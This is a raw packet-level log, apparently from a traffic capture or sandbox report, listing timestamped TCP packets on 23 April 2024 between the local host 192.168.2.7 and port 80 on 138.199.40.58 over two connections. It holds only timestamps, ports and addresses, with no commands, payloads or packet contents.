Apr 23, 2024 08:39:58.908951044 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908973932 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.908973932 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.909018993 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.909084082 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.909102917 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.909190893 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.909210920 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.909230947 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.909250021 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.909290075 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.909311056 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.909342051 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.909356117 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.909363031 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.909368038 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.909403086 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.909403086 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.909485102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.909497976 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.909504890 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.909531116 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.909538031 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.909538031 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.909543991 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.909555912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.909574986 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.909588099 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.909600973 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.909606934 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.909612894 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.909621954 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.909648895 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.909650087 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.909670115 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.909827948 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.909894943 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.909908056 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.909915924 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.909959078 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.909959078 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.910022020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.910034895 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.910048008 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.910063028 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.910084963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.910098076 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.910108089 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.910167933 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.910188913 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.910190105 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.910208941 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.910237074 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.910253048 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.910274029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.910294056 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.910540104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.910557032 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.910574913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.910594940 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.910617113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.910631895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.910638094 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.910653114 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.910687923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.910701036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.910708904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.910712004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.910732031 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.910749912 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.910749912 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.910758972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.910772085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.910847902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.910866976 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.910934925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.910955906 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.910963058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.910974979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.910981894 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.911009073 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.911009073 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.911091089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.911124945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.911178112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.911190033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.911196947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.911201954 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.911220074 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.911242008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.911253929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.911262035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.911295891 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.911295891 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.911317110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.911349058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.911369085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.911389112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.911422014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.911434889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.911444902 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.911468983 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.911468983 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.911580086 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.911616087 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.911628008 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.911647081 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.911700010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.911722898 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.911803007 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.911823988 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.911979914 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.911993027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.911999941 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.912159920 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.912182093 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.912213087 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.912233114 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.912308931 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.912321091 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.912328005 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.912344933 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.912466049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.912486076 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.912519932 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.912539959 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.912597895 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.912617922 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.912694931 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.912713051 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.912815094 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.912836075 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.913000107 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913023949 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.913055897 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913058043 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.913121939 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913142920 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.913162947 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913182020 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.913232088 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913252115 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.913311958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913331032 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.913403034 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913424015 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.913439035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913459063 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.913480043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913491964 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913500071 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.913502932 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913523912 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.913537979 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913557053 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.913621902 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913641930 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.913660049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913682938 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.913703918 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913722992 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.913727045 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913748026 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.913779974 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913793087 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913799047 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.913806915 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913813114 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.913817883 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913825989 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.913856030 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.913856983 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.913883924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913911104 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913948059 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.913968086 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.914041996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914055109 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914062023 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.914066076 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914084911 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.914088011 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914105892 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.914160013 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914172888 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914181948 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.914226055 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.914226055 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.914247036 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914320946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914371014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914382935 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914390087 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.914428949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.914428949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.914436102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914450884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914484024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914501905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914508104 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.914549112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.914549112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.914566994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914649010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914693117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914716959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.914726973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914746046 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.914757967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914776087 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.914793968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914814949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.914958954 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914972067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914983034 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.914985895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.914999008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.915005922 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.915009975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.915021896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.915028095 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.915035963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.915055037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.915206909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.915226936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.915316105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.915337086 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.915369034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.915381908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.915389061 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.915401936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.915426970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.915443897 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.915463924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.915483952 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.915518045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.915539026 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.915590048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.915591002 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.915659904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.915715933 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.915735006 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.915754080 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.915776014 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.915805101 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.915827036 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.915847063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.915864944 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.915879011 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.915896893 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.915913105 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.915932894 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.915967941 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.915987968 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.916073084 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.916135073 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916148901 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916208982 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.916209936 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.916232109 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916248083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916271925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916285992 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.916285992 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.916295052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916356087 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.916356087 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.916362047 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916394949 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916419983 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.916440964 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916464090 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.916471958 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.916480064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916512966 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916526079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916544914 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.916565895 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916582108 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.916608095 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916630030 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.916662931 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916718960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916733027 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.916733980 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916765928 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.916779995 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916794062 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916801929 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.916888952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916902065 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916909933 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.916913986 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916925907 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.916932106 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.916944981 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.917000055 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.917013884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.917020082 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.917032003 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.917071104 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.917076111 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.917088032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.917099953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.917129040 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.917129040 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.917162895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.917551041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.917577028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.917597055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.917649984 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.917701960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.917742968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.917787075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.917800903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.917809010 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.917813063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.917824984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.917831898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.917844057 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.917866945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.917887926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.917913914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.917929888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.917937994 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.917948008 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.917962074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.917982101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.917984962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.918000937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.918160915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.918174028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.918180943 CEST	49705	80	192.168.2.7	138.199.40.58
